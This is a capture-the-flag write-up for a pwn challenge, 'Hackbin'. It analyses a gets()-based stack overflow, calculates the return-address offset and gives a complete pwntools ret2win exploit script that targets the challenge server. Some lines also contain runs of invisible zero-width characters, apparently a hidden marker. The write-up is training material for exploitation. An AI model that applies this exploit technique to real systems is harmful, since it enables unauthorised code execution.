← Back to Writeups
CUSTOMEasypwn

Hackbin

XESXOR9/2/20262 min read
#pwn#custom#easy#ret2win#stack_buffer_overflow

Hackbin

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2025-04-13 | Status: Solved Techniques: ret2win, stack_buffer_overflow

Summary

Task: a 64-bit non-PIE ELF with a menu and an unsafe gets() call in add_note() lets user input overflow a stack note buffer. Solution: overwrite RIP at offset 0x488 and use ret2win with an extra ret gadget for x86_64 stack alignment before calling get_flag().

Hackbin — hackerlab

Description

Original organizer description was not preserved in the local task files.

The challenge provides a 64-bit ELF binary with a simple menu interface. The goal is to trigger a stack overflow and redirect execution to the hidden get_flag function to print the flag.

Analysis

Binary overview

  • ELF 64-bit, dynamically linked, not stripped
  • Protections: Partial RELRO, No canary, NX enabled, No PIE
  • CET is enabled: SHSTK and IBT are present ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These properties make the task a classic ret2win challenge. NX prevents shellcode execution, but No PIE keeps code addresses fixed and No canary allows direct stack smashing.

Relevant functions and addresses

  • get_flag: 0x401516
  • ret gadget for alignment: 0x40101a
  • Vulnerable function: add_note

add_note performs two gets() calls. The exploitable one reads the note into a stack buffer located at [rbp-0x480].

Offset math

The note buffer starts at:

text
[rbp-0x480]

The saved return address is located at: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
[rbp+0x8]

So the overwrite distance is:

text
0x480 + 0x8 = 0x488 bytes

That means the payload layout is:

text
"A" * 0x488 + p64(0x40101a) + p64(0x401516)

Why the extra ret is needed

Jumping directly to get_flag was unreliable because x86_64 functions often expect the stack to be 16-byte aligned before a call boundary. Adding a single ret gadget at 0x40101a fixes the alignment and allows get_flag to execute cleanly.

Solution

Exploitation summary

  1. Start the program and choose menu option 1.
  2. Send any short name for the first prompt.
  3. Overflow the note buffer with 0x488 bytes of padding.
  4. Place the alignment ret gadget.
  5. Place the address of get_flag.
  6. The function returns into get_flag, and the program prints the flag after Note successfully added!. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Pwntools exploit

python
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 0  # replace with the real port if needed

context.binary = elf = ELF("./task", checksec=False)
context.arch = "amd64"

RET = 0x40101a
GET_FLAG = 0x401516
OFFSET = 0x488


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path)


io = start()

payload = b"A" * OFFSET + p64(RET) + p64(GET_FLAG)

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"name", b"a")
io.sendlineafter(b"note", payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.interactive()

Minimal remote interaction

python
payload = b"A" * 0x488 + p64(0x40101a) + p64(0x401516)

After sending the payload through the note field, the service responds with:

text
Note successfully added!
CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍